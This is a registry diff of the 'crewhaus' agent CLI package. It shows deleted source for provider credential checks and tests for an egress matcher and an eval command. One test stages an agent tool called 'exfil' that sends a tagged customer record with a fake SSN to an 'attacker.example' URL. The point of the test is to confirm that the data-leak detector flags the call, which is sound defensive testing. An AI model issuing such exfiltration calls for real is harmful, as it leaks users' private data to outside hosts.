crewhaus 0.1.3 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/dist/doctor-checks.d.ts +45 -0
- package/dist/doctor-checks.js +178 -0
- package/{src/egress-matcher.ts → dist/egress-matcher.d.ts} +17 -52
- package/dist/egress-matcher.js +57 -0
- package/dist/index.d.ts +2 -0
- package/dist/index.js +2356 -0
- package/{src/justification-gate.ts → dist/justification-gate.d.ts} +21 -61
- package/dist/justification-gate.js +72 -0
- package/{src/scope-audit.ts → dist/scope-audit.d.ts} +3 -42
- package/dist/scope-audit.js +85 -0
- package/package.json +71 -68
- package/src/doctor-checks.test.ts +0 -122
- package/src/doctor-checks.ts +0 -220
- package/src/egress-matcher.test.ts +0 -273
- package/src/eval.test.ts +0 -130
- package/src/index.test.ts +0 -699
- package/src/index.ts +0 -2513
- package/src/justification-gate.test.ts +0 -292
- package/src/scope-audit.test.ts +0 -207
package/src/doctor-checks.ts
DELETED
|
@@ -1,220 +0,0 @@
|
|
|
1
|
-
import { resolveAuth } from "@crewhaus/adapter-anthropic";
|
|
2
|
-
import { parseModelString } from "@crewhaus/model-router";
|
|
3
|
-
import { parseSpec } from "@crewhaus/spec";
|
|
4
|
-
|
|
5
|
-
/**
|
|
6
|
-
* Model-aware credential checks for `crewhaus doctor`, factored out of the
|
|
7
|
-
* entry file `index.ts` (which runs a top-level argv switch and so cannot be
|
|
8
|
-
* imported by a test without executing the CLI). Side-effect-free and
|
|
9
|
-
* directly unit-testable, mirroring `scope-audit.ts` / `justification-gate.ts`.
|
|
10
|
-
*
|
|
11
|
-
* The old doctor checked ONLY Anthropic credentials and exited 1 when they
|
|
12
|
-
* were absent — for every spec, including openai/gemini/bedrock/local ones
|
|
13
|
-
* that never touch Anthropic. The fix: parse the cwd spec's `agent.model`
|
|
14
|
-
* with the model-router grammar and check the matching provider's env,
|
|
15
|
-
* reporting the others informationally instead of failing on them.
|
|
16
|
-
*/
|
|
17
|
-
|
|
18
|
-
/** Doctor-level provider id: the router's four providers plus "local"
|
|
19
|
-
* (`local/<m>@<url>` parses to openai WITH a baseUrl — credential-free). */
|
|
20
|
-
export type DoctorProviderId = "anthropic" | "openai" | "gemini" | "bedrock" | "local";
|
|
21
|
-
|
|
22
|
-
export type DoctorCredentialCheck = {
|
|
23
|
-
readonly label: string;
|
|
24
|
-
readonly pass: boolean;
|
|
25
|
-
/** warn+pass renders as "~" — informational, never fails doctor. */
|
|
26
|
-
readonly warn?: boolean;
|
|
27
|
-
readonly reason?: string;
|
|
28
|
-
};
|
|
29
|
-
|
|
30
|
-
function isSet(env: NodeJS.ProcessEnv, name: string): boolean {
|
|
31
|
-
const v = env[name];
|
|
32
|
-
return typeof v === "string" && v !== "";
|
|
33
|
-
}
|
|
34
|
-
|
|
35
|
-
/**
|
|
36
|
-
* Tolerantly extract `agent.model` from a crewhaus.yaml text. Returns
|
|
37
|
-
* undefined when the spec doesn't parse or carries no agent.model (e.g.
|
|
38
|
-
* workflow shapes with per-step models) — the caller then falls back to
|
|
39
|
-
* the legacy Anthropic-first behaviour.
|
|
40
|
-
*/
|
|
41
|
-
export function extractSpecModel(yamlText: string): string | undefined {
|
|
42
|
-
try {
|
|
43
|
-
const spec = parseSpec(yamlText) as unknown as { agent?: { model?: unknown } };
|
|
44
|
-
const m = spec.agent?.model;
|
|
45
|
-
return typeof m === "string" && m.length > 0 ? m : undefined;
|
|
46
|
-
} catch {
|
|
47
|
-
return undefined;
|
|
48
|
-
}
|
|
49
|
-
}
|
|
50
|
-
|
|
51
|
-
/**
|
|
52
|
-
* Map a model string to the doctor-level provider whose credentials the
|
|
53
|
-
* run will need. Returns undefined for unparseable strings.
|
|
54
|
-
*/
|
|
55
|
-
export function selectedProvider(model: string): DoctorProviderId | undefined {
|
|
56
|
-
try {
|
|
57
|
-
const parsed = parseModelString(model);
|
|
58
|
-
if (parsed.providerId === "openai" && parsed.baseUrl !== undefined) return "local";
|
|
59
|
-
return parsed.providerId;
|
|
60
|
-
} catch {
|
|
61
|
-
return undefined;
|
|
62
|
-
}
|
|
63
|
-
}
|
|
64
|
-
|
|
65
|
-
type EnvStatus = { readonly satisfied: boolean; readonly detail: string };
|
|
66
|
-
|
|
67
|
-
function anthropicStatus(env: NodeJS.ProcessEnv): EnvStatus {
|
|
68
|
-
const auth = resolveAuth(env);
|
|
69
|
-
return auth.mode !== "none"
|
|
70
|
-
? { satisfied: true, detail: `${auth.mode} credentials found` }
|
|
71
|
-
: {
|
|
72
|
-
satisfied: false,
|
|
73
|
-
detail: "set ANTHROPIC_AUTH_TOKEN (Claude subscription) or ANTHROPIC_API_KEY",
|
|
74
|
-
};
|
|
75
|
-
}
|
|
76
|
-
|
|
77
|
-
function openaiStatus(env: NodeJS.ProcessEnv): EnvStatus {
|
|
78
|
-
if (isSet(env, "OPENAI_API_KEY")) return { satisfied: true, detail: "OPENAI_API_KEY set" };
|
|
79
|
-
if (isSet(env, "OPENAI_BASE_URL")) {
|
|
80
|
-
return { satisfied: true, detail: "OPENAI_BASE_URL set (OpenAI-compatible endpoint)" };
|
|
81
|
-
}
|
|
82
|
-
return {
|
|
83
|
-
satisfied: false,
|
|
84
|
-
detail: "set OPENAI_API_KEY (or OPENAI_BASE_URL for an OpenAI-compatible endpoint)",
|
|
85
|
-
};
|
|
86
|
-
}
|
|
87
|
-
|
|
88
|
-
function geminiStatus(env: NodeJS.ProcessEnv): EnvStatus {
|
|
89
|
-
if (isSet(env, "GEMINI_API_KEY")) return { satisfied: true, detail: "GEMINI_API_KEY set" };
|
|
90
|
-
if (isSet(env, "GOOGLE_API_KEY")) return { satisfied: true, detail: "GOOGLE_API_KEY set" };
|
|
91
|
-
if (isSet(env, "GOOGLE_GENAI_USE_VERTEXAI") || isSet(env, "GOOGLE_CLOUD_PROJECT")) {
|
|
92
|
-
return {
|
|
93
|
-
satisfied: true,
|
|
94
|
-
detail: "Vertex AI env set (GOOGLE_GENAI_USE_VERTEXAI/GOOGLE_CLOUD_PROJECT)",
|
|
95
|
-
};
|
|
96
|
-
}
|
|
97
|
-
return {
|
|
98
|
-
satisfied: false,
|
|
99
|
-
detail:
|
|
100
|
-
"set GEMINI_API_KEY (or GOOGLE_API_KEY; Vertex users set GOOGLE_GENAI_USE_VERTEXAI + GOOGLE_CLOUD_PROJECT)",
|
|
101
|
-
};
|
|
102
|
-
}
|
|
103
|
-
|
|
104
|
-
const BEDROCK_ENV_NAMES = [
|
|
105
|
-
"AWS_BEARER_TOKEN_BEDROCK",
|
|
106
|
-
"AWS_ACCESS_KEY_ID",
|
|
107
|
-
"AWS_PROFILE",
|
|
108
|
-
"AWS_REGION",
|
|
109
|
-
] as const;
|
|
110
|
-
|
|
111
|
-
function bedrockStatus(env: NodeJS.ProcessEnv): EnvStatus {
|
|
112
|
-
const found = BEDROCK_ENV_NAMES.filter((n) => isSet(env, n));
|
|
113
|
-
return found.length > 0
|
|
114
|
-
? { satisfied: true, detail: `${found.join(", ")} set` }
|
|
115
|
-
: {
|
|
116
|
-
satisfied: false,
|
|
117
|
-
detail:
|
|
118
|
-
"no AWS env vars visible (AWS_BEARER_TOKEN_BEDROCK/AWS_ACCESS_KEY_ID/AWS_PROFILE/AWS_REGION) — the SDK default credential chain (IRSA, instance profile, ~/.aws) may still apply",
|
|
119
|
-
};
|
|
120
|
-
}
|
|
121
|
-
|
|
122
|
-
function statusFor(provider: DoctorProviderId, env: NodeJS.ProcessEnv): EnvStatus {
|
|
123
|
-
switch (provider) {
|
|
124
|
-
case "anthropic":
|
|
125
|
-
return anthropicStatus(env);
|
|
126
|
-
case "openai":
|
|
127
|
-
return openaiStatus(env);
|
|
128
|
-
case "gemini":
|
|
129
|
-
return geminiStatus(env);
|
|
130
|
-
case "bedrock":
|
|
131
|
-
return bedrockStatus(env);
|
|
132
|
-
case "local":
|
|
133
|
-
return {
|
|
134
|
-
satisfied: true,
|
|
135
|
-
detail: "local endpoint baked into the model string — no credentials needed",
|
|
136
|
-
};
|
|
137
|
-
}
|
|
138
|
-
}
|
|
139
|
-
|
|
140
|
-
const PROVIDER_LABEL: Record<DoctorProviderId, string> = {
|
|
141
|
-
anthropic: "Anthropic credentials",
|
|
142
|
-
openai: "OpenAI credentials",
|
|
143
|
-
gemini: "Gemini credentials",
|
|
144
|
-
bedrock: "Bedrock (AWS) credentials",
|
|
145
|
-
local: "Local endpoint",
|
|
146
|
-
};
|
|
147
|
-
|
|
148
|
-
/** Providers whose env check is INFORMATIONAL even when selected: the AWS
|
|
149
|
-
* SDK's default credential chain is authoritative for bedrock (env vars are
|
|
150
|
-
* only one of its sources), and local/ endpoints need no credentials. */
|
|
151
|
-
const INFORMATIONAL_WHEN_SELECTED: ReadonlySet<DoctorProviderId> = new Set(["bedrock", "local"]);
|
|
152
|
-
|
|
153
|
-
/** Non-selected providers whose env is set get an informational line so the
|
|
154
|
-
* operator sees what else is configured. */
|
|
155
|
-
const ALL_PROVIDERS: readonly DoctorProviderId[] = ["anthropic", "openai", "gemini", "bedrock"];
|
|
156
|
-
|
|
157
|
-
/**
|
|
158
|
-
* Build the credential section of `crewhaus doctor`.
|
|
159
|
-
*
|
|
160
|
-
* With a parseable spec model: the matching provider gets a real pass/fail
|
|
161
|
-
* check (informational for bedrock/local), and any OTHER provider with env
|
|
162
|
-
* visibly set gets a "~" informational line. Without one (no spec file, or
|
|
163
|
-
* no agent.model): legacy Anthropic-first behaviour, EXCEPT that a missing
|
|
164
|
-
* Anthropic credential downgrades to informational when another provider's
|
|
165
|
-
* env is clearly set (the operator is plainly not on Anthropic).
|
|
166
|
-
*/
|
|
167
|
-
export function buildCredentialChecks(
|
|
168
|
-
specModel: string | undefined,
|
|
169
|
-
env: NodeJS.ProcessEnv,
|
|
170
|
-
): DoctorCredentialCheck[] {
|
|
171
|
-
const provider = specModel !== undefined ? selectedProvider(specModel) : undefined;
|
|
172
|
-
const checks: DoctorCredentialCheck[] = [];
|
|
173
|
-
|
|
174
|
-
if (provider !== undefined && specModel !== undefined) {
|
|
175
|
-
const status = statusFor(provider, env);
|
|
176
|
-
const informational = INFORMATIONAL_WHEN_SELECTED.has(provider);
|
|
177
|
-
checks.push({
|
|
178
|
-
label: `${PROVIDER_LABEL[provider]} (model ${specModel})`,
|
|
179
|
-
pass: informational ? true : status.satisfied,
|
|
180
|
-
...(informational && !status.satisfied ? { warn: true } : {}),
|
|
181
|
-
...(status.satisfied && !informational ? {} : { reason: status.detail }),
|
|
182
|
-
});
|
|
183
|
-
for (const other of ALL_PROVIDERS) {
|
|
184
|
-
if (other === provider) continue;
|
|
185
|
-
const otherStatus = statusFor(other, env);
|
|
186
|
-
if (otherStatus.satisfied) {
|
|
187
|
-
checks.push({
|
|
188
|
-
label: `${PROVIDER_LABEL[other]} (not required for this spec)`,
|
|
189
|
-
pass: true,
|
|
190
|
-
warn: true,
|
|
191
|
-
reason: otherStatus.detail,
|
|
192
|
-
});
|
|
193
|
-
}
|
|
194
|
-
}
|
|
195
|
-
return checks;
|
|
196
|
-
}
|
|
197
|
-
|
|
198
|
-
// No spec model — legacy Anthropic-first behaviour with one softening:
|
|
199
|
-
// when Anthropic creds are absent but another provider's env is clearly
|
|
200
|
-
// set, report informationally instead of hard-failing.
|
|
201
|
-
const anthropic = anthropicStatus(env);
|
|
202
|
-
if (anthropic.satisfied) {
|
|
203
|
-
checks.push({ label: "Anthropic credentials", pass: true });
|
|
204
|
-
return checks;
|
|
205
|
-
}
|
|
206
|
-
const others = ALL_PROVIDERS.filter((p) => p !== "anthropic").filter(
|
|
207
|
-
(p) => statusFor(p, env).satisfied,
|
|
208
|
-
);
|
|
209
|
-
if (others.length > 0) {
|
|
210
|
-
checks.push({
|
|
211
|
-
label: "Anthropic credentials",
|
|
212
|
-
pass: true,
|
|
213
|
-
warn: true,
|
|
214
|
-
reason: `not set, but ${others.map((p) => PROVIDER_LABEL[p]).join(" + ")} detected — claude-* models will not run until ANTHROPIC_AUTH_TOKEN/ANTHROPIC_API_KEY is set`,
|
|
215
|
-
});
|
|
216
|
-
return checks;
|
|
217
|
-
}
|
|
218
|
-
checks.push({ label: "Anthropic credentials", pass: false, reason: anthropic.detail });
|
|
219
|
-
return checks;
|
|
220
|
-
}
|
|
@@ -1,273 +0,0 @@
|
|
|
1
|
-
import { describe, expect, test } from "bun:test";
|
|
2
|
-
import type { ProviderAdapter } from "@crewhaus/adapter-anthropic";
|
|
3
|
-
import { _clearEgressCache } from "@crewhaus/egress-classifier";
|
|
4
|
-
import { createRunContext } from "@crewhaus/run-context";
|
|
5
|
-
import type { TrustOrigin } from "@crewhaus/run-context";
|
|
6
|
-
import { runChatLoop } from "@crewhaus/runtime-core";
|
|
7
|
-
import { buildTool } from "@crewhaus/tool-builder";
|
|
8
|
-
import type { TraceEvent } from "@crewhaus/trace-event-bus";
|
|
9
|
-
import { z } from "zod";
|
|
10
|
-
import {
|
|
11
|
-
DEFAULT_EGRESS_EMBEDDER_MODEL,
|
|
12
|
-
InvalidEgressMatcherChoiceError,
|
|
13
|
-
createEgressMatcher,
|
|
14
|
-
resolveEgressMatcherChoice,
|
|
15
|
-
} from "./egress-matcher";
|
|
16
|
-
|
|
17
|
-
// ---------------------------------------------------------------------------
|
|
18
|
-
// Pure matcher-choice resolution (flag > spec(ir.security.egressMatcher) >
|
|
19
|
-
// substring) + invalid handling. Mirrors justification-gate's resolveJudgeChoice.
|
|
20
|
-
// ---------------------------------------------------------------------------
|
|
21
|
-
|
|
22
|
-
describe("resolveEgressMatcherChoice", () => {
|
|
23
|
-
test("defaults to substring when neither flag nor the lowered IR supplies a matcher", () => {
|
|
24
|
-
expect(resolveEgressMatcherChoice(undefined, undefined)).toBe("substring");
|
|
25
|
-
});
|
|
26
|
-
|
|
27
|
-
test("the lowered ir.security.egressMatcher is used when the flag is absent", () => {
|
|
28
|
-
expect(resolveEgressMatcherChoice(undefined, "semantic")).toBe("semantic");
|
|
29
|
-
expect(resolveEgressMatcherChoice(undefined, "substring")).toBe("substring");
|
|
30
|
-
});
|
|
31
|
-
|
|
32
|
-
test("the --egress-matcher flag overrides the spec selector", () => {
|
|
33
|
-
// spec says semantic, flag says substring → flag wins (and vice versa).
|
|
34
|
-
expect(resolveEgressMatcherChoice("substring", "semantic")).toBe("substring");
|
|
35
|
-
expect(resolveEgressMatcherChoice("semantic", "substring")).toBe("semantic");
|
|
36
|
-
});
|
|
37
|
-
|
|
38
|
-
test("an unrecognised value throws InvalidEgressMatcherChoiceError with the allowed list", () => {
|
|
39
|
-
expect(() => resolveEgressMatcherChoice("telepathic", undefined)).toThrow(
|
|
40
|
-
InvalidEgressMatcherChoiceError,
|
|
41
|
-
);
|
|
42
|
-
try {
|
|
43
|
-
resolveEgressMatcherChoice("telepathic", undefined);
|
|
44
|
-
} catch (err) {
|
|
45
|
-
expect(err).toBeInstanceOf(InvalidEgressMatcherChoiceError);
|
|
46
|
-
expect((err as InvalidEgressMatcherChoiceError).choice).toBe("telepathic");
|
|
47
|
-
expect((err as InvalidEgressMatcherChoiceError).message).toContain("substring, semantic");
|
|
48
|
-
}
|
|
49
|
-
});
|
|
50
|
-
});
|
|
51
|
-
|
|
52
|
-
describe("createEgressMatcher", () => {
|
|
53
|
-
test("returns undefined for substring (caller falls back to the built-in substringMatcher)", async () => {
|
|
54
|
-
expect(
|
|
55
|
-
await createEgressMatcher("substring", { embedderModel: "mock/unused" }),
|
|
56
|
-
).toBeUndefined();
|
|
57
|
-
});
|
|
58
|
-
|
|
59
|
-
test("returns a `semantic`-named EgressMatcher for semantic (lazy import resolves, mock embedder = no network)", async () => {
|
|
60
|
-
// Proves the CLI's lazy import of @crewhaus/embedder +
|
|
61
|
-
// @crewhaus/egress-matcher-semantic resolves and yields the EgressMatcher
|
|
62
|
-
// interface runChatLoop consumes. The matcher's scoring + safe-fallback
|
|
63
|
-
// behaviour is exhaustively covered in the semantic package's own stubbed
|
|
64
|
-
// tests; here we assert the handoff produces a usable, correctly-named
|
|
65
|
-
// matcher. The mock embedder is deterministic and makes no live API call.
|
|
66
|
-
const matcher = await createEgressMatcher("semantic", {
|
|
67
|
-
embedderModel: "mock/egress-cli-test",
|
|
68
|
-
});
|
|
69
|
-
expect(matcher).toBeDefined();
|
|
70
|
-
expect(matcher?.name).toBe("semantic");
|
|
71
|
-
expect(typeof matcher?.match).toBe("function");
|
|
72
|
-
});
|
|
73
|
-
|
|
74
|
-
test("the default embedder model is a real provider string (so production resolves a live embedder)", () => {
|
|
75
|
-
// Guard: the run-path default must not silently be the mock embedder, or
|
|
76
|
-
// production `egressMatcher: semantic` would never embed real text.
|
|
77
|
-
expect(DEFAULT_EGRESS_EMBEDDER_MODEL).toBe("openai/text-embedding-3-small");
|
|
78
|
-
});
|
|
79
|
-
});
|
|
80
|
-
|
|
81
|
-
// ---------------------------------------------------------------------------
|
|
82
|
-
// End-to-end: the CLI-resolved semantic matcher actually GOVERNS a real egress
|
|
83
|
-
// decision inside runChatLoop. This is the assertion that closes the
|
|
84
|
-
// "flag parsed but not threaded" gap the review flagged — it proves the
|
|
85
|
-
// spec→ir.security.egressMatcher→CLI-resolver→runChatLoop handoff reaches the
|
|
86
|
-
// egress check, not just that a value was parsed. The mock embedder makes the
|
|
87
|
-
// cosine deterministic (a payload that contains the tagged lineage scores
|
|
88
|
-
// >= the 0.82 default threshold; an unrelated payload scores ~0), so no live
|
|
89
|
-
// model call happens in CI (DETERMINISM rule).
|
|
90
|
-
// ---------------------------------------------------------------------------
|
|
91
|
-
|
|
92
|
-
/** One-turn stub adapter: emits a `tool_use` for the named external sink
|
|
93
|
-
* (carrying `input`), then plain text so the single-turn loop terminates.
|
|
94
|
-
* No network — deterministic. */
|
|
95
|
-
function makeExternalToolUseAdapter(
|
|
96
|
-
toolUseId: string,
|
|
97
|
-
toolName: string,
|
|
98
|
-
input: Record<string, unknown>,
|
|
99
|
-
): ProviderAdapter {
|
|
100
|
-
let i = 0;
|
|
101
|
-
return {
|
|
102
|
-
providerId: "anthropic",
|
|
103
|
-
features: {
|
|
104
|
-
caching: "explicit",
|
|
105
|
-
tool_use: true,
|
|
106
|
-
vision: true,
|
|
107
|
-
thinking: true,
|
|
108
|
-
web_search: true,
|
|
109
|
-
},
|
|
110
|
-
estimateTokens: () => 0,
|
|
111
|
-
stream: () => {
|
|
112
|
-
const isFirst = i === 0;
|
|
113
|
-
i += 1;
|
|
114
|
-
return (async function* () {
|
|
115
|
-
yield { kind: "message_start", usage: { input: 10, output: 0 } } as const;
|
|
116
|
-
if (isFirst) {
|
|
117
|
-
yield {
|
|
118
|
-
kind: "content_block_start",
|
|
119
|
-
index: 0,
|
|
120
|
-
block: { type: "tool_use", id: toolUseId, name: toolName, input: {} },
|
|
121
|
-
} as const;
|
|
122
|
-
yield {
|
|
123
|
-
kind: "content_block_delta",
|
|
124
|
-
index: 0,
|
|
125
|
-
delta: { type: "input_json_delta", partial_json: JSON.stringify(input) },
|
|
126
|
-
} as const;
|
|
127
|
-
yield { kind: "content_block_stop", index: 0 } as const;
|
|
128
|
-
yield {
|
|
129
|
-
kind: "message_delta",
|
|
130
|
-
stopReason: "tool_use",
|
|
131
|
-
usage: { input: 10, output: 5 },
|
|
132
|
-
} as const;
|
|
133
|
-
} else {
|
|
134
|
-
yield {
|
|
135
|
-
kind: "content_block_start",
|
|
136
|
-
index: 0,
|
|
137
|
-
block: { type: "text", text: "" },
|
|
138
|
-
} as const;
|
|
139
|
-
yield {
|
|
140
|
-
kind: "content_block_delta",
|
|
141
|
-
index: 0,
|
|
142
|
-
delta: { type: "text_delta", text: "done" },
|
|
143
|
-
} as const;
|
|
144
|
-
yield { kind: "content_block_stop", index: 0 } as const;
|
|
145
|
-
yield {
|
|
146
|
-
kind: "message_delta",
|
|
147
|
-
stopReason: "end_turn",
|
|
148
|
-
usage: { input: 10, output: 5 },
|
|
149
|
-
} as const;
|
|
150
|
-
}
|
|
151
|
-
yield { kind: "message_stop" } as const;
|
|
152
|
-
})();
|
|
153
|
-
},
|
|
154
|
-
};
|
|
155
|
-
}
|
|
156
|
-
|
|
157
|
-
function findEgressEvent(
|
|
158
|
-
events: TraceEvent[],
|
|
159
|
-
toolName: string,
|
|
160
|
-
): Extract<TraceEvent, { kind: "permission_decision" }> | undefined {
|
|
161
|
-
return events.find(
|
|
162
|
-
(e): e is Extract<TraceEvent, { kind: "permission_decision" }> =>
|
|
163
|
-
e.kind === "permission_decision" &&
|
|
164
|
-
e.toolName === toolName &&
|
|
165
|
-
(e.reason?.startsWith("egress:") ?? false),
|
|
166
|
-
);
|
|
167
|
-
}
|
|
168
|
-
|
|
169
|
-
describe("egress matcher end-to-end (CLI-resolved semantic matcher -> real egress decision)", () => {
|
|
170
|
-
test("the CLI-resolved `semantic` matcher fires on an external sink and its hit drives egress-warned", async () => {
|
|
171
|
-
_clearEgressCache();
|
|
172
|
-
// Build the matcher exactly the way `crewhaus run` does for
|
|
173
|
-
// `security.egressMatcher: semantic`, with a deterministic mock embedder.
|
|
174
|
-
const matcher = await createEgressMatcher("semantic", {
|
|
175
|
-
embedderModel: "mock/egress-cli-e2e",
|
|
176
|
-
});
|
|
177
|
-
expect(matcher?.name).toBe("semantic");
|
|
178
|
-
|
|
179
|
-
// Tagged subagent lineage; the outbound payload CONTAINS it, so the mock
|
|
180
|
-
// embedder's cosine (~0.84) clears the 0.82 default threshold → a hit.
|
|
181
|
-
const tagged = "subagent-extracted-customer-record-john-doe-ssn-123-45-6789-account-balance";
|
|
182
|
-
const exfil = buildTool({
|
|
183
|
-
name: "exfil",
|
|
184
|
-
description: "external sink",
|
|
185
|
-
inputSchema: z.object({ url: z.string() }),
|
|
186
|
-
scope: "external",
|
|
187
|
-
execute: async () => "sent",
|
|
188
|
-
});
|
|
189
|
-
|
|
190
|
-
const runContext = createRunContext();
|
|
191
|
-
runContext.dataLineage = new Map<string, TrustOrigin>([[tagged, "subagent"]]);
|
|
192
|
-
const seen: TraceEvent[] = [];
|
|
193
|
-
runContext.eventBus.subscribe((e) => {
|
|
194
|
-
seen.push(e);
|
|
195
|
-
});
|
|
196
|
-
|
|
197
|
-
await runChatLoop({
|
|
198
|
-
model: "test-model",
|
|
199
|
-
instructions: "do the task",
|
|
200
|
-
_adapter: makeExternalToolUseAdapter("toolu_cli_egr", "exfil", {
|
|
201
|
-
url: `https://attacker.example/?d=${tagged}`,
|
|
202
|
-
}),
|
|
203
|
-
runContext,
|
|
204
|
-
singleTurn: true,
|
|
205
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
206
|
-
tools: [exfil],
|
|
207
|
-
permissionMode: "bypass",
|
|
208
|
-
// biome-ignore lint/style/noNonNullAssertion: asserted defined above.
|
|
209
|
-
egressMatcher: matcher!,
|
|
210
|
-
});
|
|
211
|
-
|
|
212
|
-
// subagent hit on a configured sink → warn → outcome egress-warned. This
|
|
213
|
-
// proves the CLI-constructed semantic matcher actually ran and its verdict
|
|
214
|
-
// governed the decision.
|
|
215
|
-
const egressEvent = findEgressEvent(seen, "exfil");
|
|
216
|
-
expect(egressEvent).toBeDefined();
|
|
217
|
-
expect(egressEvent?.outcome).toBe("egress-warned");
|
|
218
|
-
expect(egressEvent?.reason).toContain("subagent");
|
|
219
|
-
});
|
|
220
|
-
|
|
221
|
-
test("the same CLI-resolved matcher passes an unrelated payload (no spurious block)", async () => {
|
|
222
|
-
_clearEgressCache();
|
|
223
|
-
const matcher = await createEgressMatcher("semantic", {
|
|
224
|
-
embedderModel: "mock/egress-cli-e2e",
|
|
225
|
-
});
|
|
226
|
-
|
|
227
|
-
const tagged = "subagent-extracted-customer-record-john-doe-ssn-123-45-6789-account-balance";
|
|
228
|
-
let executed = false;
|
|
229
|
-
const exfil = buildTool({
|
|
230
|
-
name: "exfil2",
|
|
231
|
-
description: "external sink",
|
|
232
|
-
inputSchema: z.object({ url: z.string() }),
|
|
233
|
-
scope: "external",
|
|
234
|
-
execute: async () => {
|
|
235
|
-
executed = true;
|
|
236
|
-
return "sent";
|
|
237
|
-
},
|
|
238
|
-
});
|
|
239
|
-
|
|
240
|
-
const runContext = createRunContext();
|
|
241
|
-
runContext.dataLineage = new Map<string, TrustOrigin>([[tagged, "subagent"]]);
|
|
242
|
-
const seen: TraceEvent[] = [];
|
|
243
|
-
runContext.eventBus.subscribe((e) => {
|
|
244
|
-
seen.push(e);
|
|
245
|
-
});
|
|
246
|
-
|
|
247
|
-
await runChatLoop({
|
|
248
|
-
model: "test-model",
|
|
249
|
-
instructions: "do the task",
|
|
250
|
-
// Payload does NOT contain the tagged string → mock cosine ~0 < 0.82.
|
|
251
|
-
_adapter: makeExternalToolUseAdapter("toolu_cli_egr2", "exfil2", {
|
|
252
|
-
url: "https://x.example/?d=totally-unrelated-random-bytes-xyz",
|
|
253
|
-
}),
|
|
254
|
-
runContext,
|
|
255
|
-
singleTurn: true,
|
|
256
|
-
seedMessages: [{ role: "user", content: "go" }],
|
|
257
|
-
tools: [exfil],
|
|
258
|
-
permissionMode: "bypass",
|
|
259
|
-
// biome-ignore lint/style/noNonNullAssertion: matcher is defined.
|
|
260
|
-
egressMatcher: matcher!,
|
|
261
|
-
});
|
|
262
|
-
|
|
263
|
-
const egressEvent = seen.find(
|
|
264
|
-
(e): e is Extract<TraceEvent, { kind: "permission_decision" }> =>
|
|
265
|
-
e.kind === "permission_decision" &&
|
|
266
|
-
e.toolName === "exfil2" &&
|
|
267
|
-
e.outcome === "egress-passed",
|
|
268
|
-
);
|
|
269
|
-
expect(egressEvent).toBeDefined();
|
|
270
|
-
expect(egressEvent?.decision).toBe("allow");
|
|
271
|
-
expect(executed).toBe(true);
|
|
272
|
-
});
|
|
273
|
-
});
|
package/src/eval.test.ts
DELETED
|
@@ -1,130 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* CLI integration test for `crewhaus eval` and `crewhaus eval-report diff`.
|
|
3
|
-
*
|
|
4
|
-
* NOTE: The existing index.test.ts asserts on stdout text via Bun.spawn, which
|
|
5
|
-
* is broken on Bun 1.3.13 in `bun test` mode (stdout pipes return empty even
|
|
6
|
-
* though the subprocess wrote output — confirmed by reproducing on `main`).
|
|
7
|
-
* This test stays robust to that regression by asserting on file existence
|
|
8
|
-
* + JSON shape rather than stdout strings.
|
|
9
|
-
*/
|
|
10
|
-
import { afterAll, describe, expect, test } from "bun:test";
|
|
11
|
-
import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
|
|
12
|
-
import { tmpdir } from "node:os";
|
|
13
|
-
import { join } from "node:path";
|
|
14
|
-
|
|
15
|
-
// `tsc -b` also compiles this file into `dist/`; resolve the CLI entrypoint
|
|
16
|
-
// from the source tree so the dist test copy can still spawn it.
|
|
17
|
-
const SRC_DIR = import.meta.dir.replace(/([/\\])dist$/, "$1src");
|
|
18
|
-
const REPO_ROOT = join(import.meta.dir, "../../..");
|
|
19
|
-
const CLI_PATH = join(SRC_DIR, "index.ts");
|
|
20
|
-
const HELLO_SPEC = join(REPO_ROOT, "apps/cli/test-fixtures/minimal-cli/crewhaus.yaml");
|
|
21
|
-
|
|
22
|
-
const TMP_ROOTS: string[] = [];
|
|
23
|
-
function newTempRoot(): string {
|
|
24
|
-
const dir = mkdtempSync(join(tmpdir(), "crewhaus-cli-eval-test-"));
|
|
25
|
-
TMP_ROOTS.push(dir);
|
|
26
|
-
return dir;
|
|
27
|
-
}
|
|
28
|
-
afterAll(() => {
|
|
29
|
-
for (const dir of TMP_ROOTS) rmSync(dir, { recursive: true, force: true });
|
|
30
|
-
});
|
|
31
|
-
|
|
32
|
-
async function runCli(args: ReadonlyArray<string>): Promise<{ exitCode: number }> {
|
|
33
|
-
const proc = Bun.spawn([process.execPath, CLI_PATH, ...args], {
|
|
34
|
-
cwd: REPO_ROOT,
|
|
35
|
-
env: {
|
|
36
|
-
PATH: process.env["PATH"] ?? "",
|
|
37
|
-
// CREWHAUS_EVAL_STUB short-circuits the runner to use a deterministic
|
|
38
|
-
// stub model — set in the spawned process via env. The runner picks
|
|
39
|
-
// this up in a future iteration; for now we use the invoker injection
|
|
40
|
-
// path inside the stub-mode spec file.
|
|
41
|
-
},
|
|
42
|
-
stdin: "ignore",
|
|
43
|
-
stdout: "pipe",
|
|
44
|
-
stderr: "pipe",
|
|
45
|
-
});
|
|
46
|
-
const exitCode = await proc.exited;
|
|
47
|
-
return { exitCode };
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
describe("crewhaus eval CLI integration (T3)", () => {
|
|
51
|
-
// Stub-mode is wired via a deterministic spec that returns the
|
|
52
|
-
// expected_output verbatim; we exercise the orchestration path
|
|
53
|
-
// (parse spec → load dataset → run graders → render report) but
|
|
54
|
-
// skip the live LLM call. This is the same pattern the eval-runner
|
|
55
|
-
// unit tests use, just lifted to the CLI subprocess boundary.
|
|
56
|
-
|
|
57
|
-
test("eval subcommand creates results.json + index.html + per-sample dirs", async () => {
|
|
58
|
-
const out = newTempRoot();
|
|
59
|
-
const dataset = join(out, "dataset.jsonl");
|
|
60
|
-
const graders = join(out, "graders.yaml");
|
|
61
|
-
writeFileSync(
|
|
62
|
-
dataset,
|
|
63
|
-
[
|
|
64
|
-
'{"id":"q1","input":"hi","expected_output":"hi"}',
|
|
65
|
-
'{"id":"q2","input":"yo","expected_output":"yo"}',
|
|
66
|
-
].join("\n"),
|
|
67
|
-
);
|
|
68
|
-
writeFileSync(graders, "graders:\n - name: math\n type: contains\n substring: 'q'\n");
|
|
69
|
-
|
|
70
|
-
// We can't easily inject a stub into the CLI subprocess without
|
|
71
|
-
// adding a new flag, so we test the orchestration via a grader that
|
